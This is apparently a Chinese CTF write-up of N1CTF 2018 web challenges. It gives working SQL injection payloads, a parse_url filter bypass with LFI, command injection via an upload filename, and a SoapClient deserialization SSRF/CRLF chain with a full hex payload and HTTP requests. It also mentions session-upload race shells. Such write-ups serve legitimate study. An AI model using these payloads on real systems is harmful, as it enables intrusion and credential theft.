To begin with
和队友水过了n1ctf的两天,然而也没有做出几道题来,想着总结下本次遇到的问题,再把题目思路回忆一遍,权当作总结吧
77777
77777是n1里面最简单的web注入了。
看到题目首先想到了sprintf的格式化串解析问题,然而变量在第二个参数里,只能分析SQLi了,sql语句中有个waf,测试后大部分语句没有过滤,刚开始想用带外注入,然后发现主机是Linux的。之后有两种思路,单个字符注入或者直接注入出来。
使用flag=0&hi=+ord(substr(password,1,1))可单个注出,长度可用length拿到。
使用flag=0&hi=+conv(hex(substr(password,1,4)),16,10),可分多次拼接注出。然而我刚开始没加substr超过整数上限了,一直sorry(傻)。
77777 2
在上面的题目上字段变为了pw,waf增强了很多。
使用length得到长度22,测试发现pw前后加空格可绕过waf,过滤了left ord ascii 2 3 4 5 j J where regexp like < ^ = (hex忘记了
最后思路是,flag=0&hi=+(substr( pw ,1+1+1+...,1)>'a') 特殊情况使用char()表示
使用python自动注出来就ok了
funning eating cms
盲测题目发现不能直接登录,注册一个帐号后登录,进入user.php?page=guset,感觉有包含,于是果然得到了部分页面的源码。
user.php
<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
Header("Location: index.php");
}
if($_SESSION['isadmin'] === '1'){
$oper_you_can_do = $OPERATE_admin;
}else{
$oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
if(!isset($_GET['page']) || $_GET['page'] === ''){
$page = 'info';
}else {
$page = $_GET['page'];
}
}
else{
if(!isset($_GET['page'])|| $_GET['page'] === ''){
$page = 'guest';
}else {
$page = $_GET['page'];
if($page === 'info')
{
// echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");
Header("Location: user.php?page=guest");
}
}
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
// $page = 'info';
//}
include "$page.php";
?>
fuction.php
<?php
session_start();
require_once "config.php";
function Hacker()
{
Header("Location: hacker.php");
die();
}
function filter_directory()
{
$keywords = ["flag","manage","ffffllllaaaaggg"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}
function filter_directory_guest()
{
$keywords = ["flag","manage","ffffllllaaaaggg","info"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}
function Filter($string)
{
global $mysqli;
$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
for ($i = 0; $i < strlen($string); $i++) {
if (strpos("$whitelist", $string[$i]) === false) {
Hacker();
}
}
if (preg_match("/$blacklist/is", $string)) {
Hacker();
}
if (is_string($string)) {
return $mysqli->real_escape_string($string);
} else {
return "";
}
}
function sql_query($sql_query)
{
global $mysqli;
$res = $mysqli->query($sql_query);
return $res;
}
function login($user, $pass)
{
$user = Filter($user);
$pass = md5($pass);
$sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
$res = sql_query($sql);
// var_dump($res);
// die();
if ($res->num_rows) {
$data = $res->fetch_array();
$_SESSION['user'] = $data[username_which_you_do_not_know];
$_SESSION['login'] = 1;
$_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
return true;
} else {
return false;
}
return;
}
function updateadmin($level,$user)
{
$user = Filter($user);
$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
$res = sql_query($sql);
// var_dump($res);
// die();
// die($res);
if ($res == 1) {
return true;
} else {
return false;
}
return;
}
function register($user, $pass)
{
global $mysqli;
$user = Filter($user);
$pass = md5($pass);
$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
$res = sql_query($sql);
return $mysqli->insert_id;
}
function logout()
{
session_destroy();
Header("Location: index.php");
}
?>
之后尝试insert注入发现username被限制了,没有想到办法绕过。收集信息发现了info页面泄露了ffffllllaaaaggg.htm这个信息,所以要想办法访问被限制的这个界面,$uri = parse_url($_SERVER["REQUEST_URI"]);
验证逻辑中这条语句可在path中加入/
来绕过,如/////user.php?page=php://filter
添加多个/
后parseurl解析出现问题,一般只存在一个,解析正常,/user.php为path,query为后面的参数,两个时,//user.php成为host,原来的参数变为path,三个及以上时返回false
array(2) {
["path"]=>
string(6) "/t.php"
["query"]=>
string(64) "page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg"
} //正常情况
array(2) {
["host"]=>
string(14) "t.php?page=php"
["path"]=>
string(55) "//filter/convert.base64-encode/resource=ffffllllaaaaggg"
}//两个/
通过这个可以拿到ffffllllaaaaggg.php
然后
然后访问m4aaa这个页面
发现有上传入口,找到请求页面源码
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
}
?>
只对扩展名进行了限制,使用system对图片进行了编码,存在RCE。
最后的步骤
另外,服务器开了xdubug,可以直接查到flag
easy php
大概是水平范围内解不出来的题了
首先是DockerFile
FROM andreisamuilik/php5.5.9-apache2.4-mysql5.5
ADD nu1lctf.tar.gz /app/
RUN apt-get update
RUN a2enmod rewrite
COPY sql.sql /tmp/sql.sql
COPY run.sh /run.sh
RUN mkdir /home/nu1lctf
COPY clean_danger.sh /home/nu1lctf/clean_danger.sh
RUN chmod +x /run.sh
RUN chmod 777 /tmp/sql.sql
RUN chmod 555 /home/nu1lctf/clean_danger.sh
EXPOSE 80
CMD ["/run.sh"]
然后是部分源码泄漏
http://47.97.221.96:23333/index.php
http://47.97.221.96:23333/config.php
http://47.97.221.96:23333/user.php
http://47.97.221.96:23333/static
http://47.97.221.96:23333/index.php~
http://47.97.221.96:23333/config.php~
http://47.97.221.96:23333/user.php~
http://47.97.221.96:23333/views
http://47.97.221.96:23333/views/delete
http://47.97.221.96:23333/views/index
http://47.97.221.96:23333/views/login
http://47.97.221.96:23333/views/profile
http://47.97.221.96:23333/views/publish
http://47.97.221.96:23333/views/register
# command line: <?php system("php -r \"phpinfo();\"") ?>
http://47.97.221.96:23333/views/phpinfo
还有本地文件包含得到的run.sh等信息
只给部分怀疑点
user.php
public function check_username($username)
{
if(preg_match('/[^a-zA-Z0-9_]/is',$username) or strlen($username)<3 or strlen($username)>20)
return false;
else
return true;
}
function register()
{
if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['code'])) {
if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])
{
die("code error");
}
$username = $_POST['username'];
$password = md5($_POST['password']);
if(!$this->check_username($username))
die('Invalid user name');
if(!$this->is_exists($username)) {
$db = new Db();
@$ret = $db->insert(array('username','password','ip','is_admin','allow_diff_ip'),'ctf_users',array($username,$password,get_ip(),'0','1')); //No one could be admin except me
function login()
{
if(isset($_POST['username']) && isset($_POST['password']) && isset($_POST['code'])) {
if(substr(md5($_POST['code']),0, 5)!==$_SESSION['code'])
{
die("code erroar");
}
$username = $_POST['username'];
$password = md5($_POST['password']);
if(!$this->check_username($username))
die('Invalid user name');
$db = new Db();
@$ret = $db->select(array('id','username','ip','is_admin','allow_diff_ip'),'ctf_users',"username = '$username' and password = '$password' limit 1");
注册和登录无法注入。
function publish()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
if(isset($_POST['signature']) && isset($_POST['mood'])) {
$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
$db = new Db();
@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
if($ret)
return true;
else
return false;
}
}
else
{
if(isset($_FILES['pic'])) {
if (upload($_FILES['pic'])){
echo 'upload ok!';
return true;
}
else {
echo "upload file error";
return false;
}
}
else
return false;
}
}
function showmess()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
//id,sig,mood,ip,country,subtime
$db = new Db();
@$ret = $db->select(array('username','signature','mood','id'),'ctf_user_signature',"userid = $this->userid order by id desc");
if($ret) {
$data = array();
while ($row = $ret->fetch_row()) {
$sig = $row[1];
$mood = unserialize($row[2]);
$country = $mood->getcountry();
$ip = $mood->ip;
$subtime = $mood->getsubtime();
$allmess = array('id'=>$row[3],'sig' => $sig, 'mood' => $mood, 'ip' => $ip, 'country' => $country, 'subtime' => $subtime);
array_push($data, $allmess);
}
$data = json_encode(array('code'=>0,'data'=>$data));
return $data;
}
else
return false;
}
else
{
$filenames = scandir('adminpic/');
array_splice($filenames, 0, 2);
return json_encode(array('code'=>1,'data'=>$filenames));
}
}
publish函数,$_POST['signature']
未经过过滤,且存在序列化$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
,admin可以上传文件。
showmess有$mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
config.php
function addsla_all()
{
if (!get_magic_quotes_gpc())
{
if (!empty($_GET))
{
$_GET = addslashes_deep($_GET);
}
if (!empty($_POST))
{
$_POST = addslashes_deep($_POST);
}
$_COOKIE = addslashes_deep($_COOKIE);
$_REQUEST = addslashes_deep($_REQUEST);
}
}
对所有请求变量进行转义。
分析当前思路,登录和注册过程无法改变,如果要获得admin权限需要通过其他途径。当前还有publish的注入和序列化可以利用。以及一个本地文件包含,拿到了run.sh文件,从中可以看到mysql的root和password。
先尝试SQL注入,分析源码可知,进入values()的字符串进行了如下操作:
array('aaa','bbb','ccc')=>`aaa`,`bbb`,`ccc`=>'aaa','bbb','ccc'
private function get_column($columns){
if(is_array($columns))
$column = ' `'.implode('`,`',$columns).'` ';
else
$column = ' `'.$columns.'` ';
return $column;
}
public function insert($columns,$table,$values){
$column = $this->get_column($columns);
$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
$nid =
$sql = 'insert into '.$table.'('.$column.') values '.$value;
$result = $this->conn->query($sql);
return $result;
}
signature可控,可构造盲注。如:
signature=1`,if((ascii(substr((select password from ctf_users where is_admin=1),1,1))=113),sleep(5),1))#&mood=1
signature=1`,((select if((select database()) like 0x25,sleep(5),0)))&mood=1
wonderkun师傅给了另外的思路:
insert into table (`username`,`password`) values ('user1','pass1'),('user2','pass2')
,可以直接插入两条记录,用password覆盖第二条的signature,需要用到的$this->userid,$this->username
我们可在LFI中拿到。(下文)- Mood有输出点
echo htmlentities($data['data'][$i]['sig'])."<br><br>";
$mood = (int)$data['data'][$i]['mood']['mood'];
echo "<img src='img/$mood.gif'><br><br>";
echo "published ".$data['data'][$i]['subtime']."<br>";
Mood类的mood参数被直接输出到页面中了,但是需要注意的是进行了一个int类型的转换,如果可以伪造Mood类的mood属性就可以了。
$mode = new Mood((int)"1","114.114.114.114");
$mode->data = "0"; // 把data设置为0,可以直观的从页面的publish time中看到注入的数据是否被成功反序列化
echo serialize($mode);
//O:4:"Mood":4:{s:4:"mood";i:1;s:2:"ip";s:15:"114.114.114.114";s:4:"date";i:1520912184;s:4:"data";s:1:"0";}
在php中,最大的整形是8个字节,所以有32个字节的数据,分四次读出,每次8个字节,转化为10进制。
payload:signature=username`,concat(`O:4:"Mood":3:{s:4:"mood";i:`,(select conv(hex((select mid((select password from ctf_users where is_admin=1 ),1,8))),16,10)),`;s:2:"ip";s:15:"114.114.114.114";s:4:"date";s:1:"0";}`))#&mood=0
访问页面会有img.gif的请求,对文件名解码得到password。
在此拿到了md5值,可得password:nu1ladmin
然而登录限制了RemoteAddr,无法登录。题目给出提示有SSRF,但是需要其他漏洞来使用。继续收集信息。
LFI还可以包含临时文件和session文件,我们暂时拿不到临时文件的地址,对session文件尝试。在/var/lib/php5/sess_xxxxx。里面是`code|s:5:"xxxxx",用来登陆验证码。登陆后还包含了is_admin,userid,username信息,没有我们可以控制的点,且username被限制了白名单。
非预期解法:
- 在PHP : Winning the race against PHP 中利用Docker镜像中残留的phpinfo()进行上传进而包含本地文件getshell,此外需要条件竞争rm -rf /tmp/*;,反弹shell得到flag。
- 在N1CTF 2018-Web中,利用phpinfo cli中upload_progress.enabled开启信息,并且给出了session.save_path,此时想到一个session_upload的解法,曾经在jarvis-oj也出现过:http://web.jarvisoj.com:32784/ 。
关于PHP_SESSION_UPLOAD_PROGRESS的官方手册
条件竞争包含session文件getshell
出题者给出的解法:
反序列化+SSRF+CRLF
在showmess和pushlish中,分别有
$mood = unserialize($row[2]);
@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
此处我们希望找到可控的魔术方法或者带有getcountry等方法的类。然而这并不好找到。
而在调用一个类的不可访问的方法的时候,就会去调用__call方法。可以寻找重载了这个方法的自有类,如soapClient。(第一次听说)
示例:
$client = new SoapClient(null, array('location' => "http://127.0.0.1:9999", 'uri'=>"http://test-uri/"));
$se = serialize($client);
var_dump($se);
$unse = unserialize($se);
$unse -> getcountry();
会发送如下的包:
POST / HTTP/1.1
Host: 127.0.0.1:9999
Connection: Keep-Alive
User-Agent: PHP-SOAP/5.5.9-1ubuntu4.11
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://test-uri/#getcountry"
Content-Length: 386
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://test-uri/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:getcountry/></SOAP-ENV:Body></SOAP-ENV:Envelope>
可以发现这是一个SSRF,但是Content-Type类型和data都不符合要求。
但是在文档中有如下说明:
public SoapClient::SoapClient ( mixed $wsdl [, array $options ] )
wsdl
URI of the WSDL file or NULL if working in non-WSDL mode.
options
The user_agent option specifies string to use in User-Agent header.
测试代码如下:
location = "http://127.0.0.1:9999/a.php?action=login";
$uri = "http://127.0.0.1/";
$event = new SoapClient(null,array('user_agent'=>"test\r\ntest:testxx",'location'=>$location,'uri'=>$uri));
$event->getcountry();
//收到的请求为
/*
POST /a.php?action=login HTTP/1.1
Host: 127.0.0.1:9999
Connection: Keep-Alive
User-Agent: test
test:testxx
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://127.0.0.1/#getcountry"
Content-Length: 387
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://127.0.0.1/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:getcountry/></SOAP-ENV:Body></SOAP-ENV:Envelope>
*/
利用这个CRLF:
<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=nu1ladmin&code=11617';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: PHPSESSID=mbjep6vjsfum3qvtm395rohp34'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>
payload:
POST /index.php?action=publish HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 735
Referer: http://192.168.59.128/index.php?action=publish
Cookie: PHPSESSID=8e9onhkhj1satsceo1e9qgn060
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
signature=test`,0x4f3a31303a22536f6170436c69656e74223a343a7b733a333a22757269223b733a343a2261616162223b733a383a226c6f636174696f6e223b733a33393a22687474703a2f2f3132372e302e302e312f696e6465782e7068703f616374696f6e3d6c6f67696e223b733a31313a225f757365725f6167656e74223b733a3139363a22777570636f0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a582d466f727761726465642d466f723a203132372e302e302e310d0a436f6f6b69653a205048505345535349443d6d626a657036766a7366756d337176746d333935726f687033340d0a436f6e74656e742d4c656e6774683a2034340d0a0d0a757365726e616d653d61646d696e2670617373776f72643d6e75316c61646d696e26636f64653d3131363137223b733a31333a225f736f61705f76657273696f6e223b693a313b7d)#&mood=0
GET /index.php?action=index HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.128/index.php?action=login
Cookie: PHPSESSID=8e9onhkhj1satsceo1e9qgn060
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
更换其中的session和验证码为当前未登录的session和验证码,之后刷新页面节拿到了admin的权限。
另,还有一种方法:利用uri达到CRLF的方法,使用了Connection: Keep-Alive这个条件。
到了这一步,我们已经登陆进去了。
之后就可以上传文件了
function upload($file){
$file_size = $file['size'];
if($file_size>2*1024*1024) {
echo "pic is too big!";
return false;
}
$file_type = $file['type'];
if($file_type!="image/jpeg" && $file_type!='image/pjpeg') {
echo "file type invalid";
return false;
}
if(is_uploaded_file($file['tmp_name'])) {
$uploaded_file = $file['tmp_name'];
$user_path = "/app/adminpic";
if (!file_exists($user_path)) {
mkdir($user_path);
}
$file_true_name = str_replace('.','',pathinfo($file['name'])['filename']);
$file_true_name = str_replace('/','',$file_true_name);
$file_true_name = str_replace('\\','',$file_true_name);
$file_true_name = $file_true_name.time().rand(1,100).'.jpg';
$move_to_file = $user_path."/".$file_true_name;
if(move_uploaded_file($uploaded_file,$move_to_file)) {
if(stripos(file_get_contents($move_to_file),'<?php')>=0)
system('sh /home/nu1lctf/clean_danger.sh');
return $file_true_name;
}
else
return false;
}
else
return false;
}
####
# /home/nu1lctf/clean_danger.sh
cd /app/adminpic/
rm *.jpg
cd /var/www/html/adminpic/
rm *
上传一个以-开头的文件,就删除不掉了,估计是因为 bash在做*符号展开之后,直接把-test.jpg传给了rm命令,然后rm命令就把-后面内容全部作为参数解析,导致命令执行失败。
date_default_timezone_set("PRC");
根据时间爆破一下文件名,LFI拿到shell。
flag在数据库里,可以通过在开始收集到的信息登录。
What's more
回顾完大部分题目,感觉到出题人的接触的面很广,很佩服。
还是要努力学习,差的很多,看wp复现解题过程都耗了很久。最后感谢师傅们写的writeup,基本都已经在原文中加了超链。
最后附本次题目的源码的官方wp
xmsec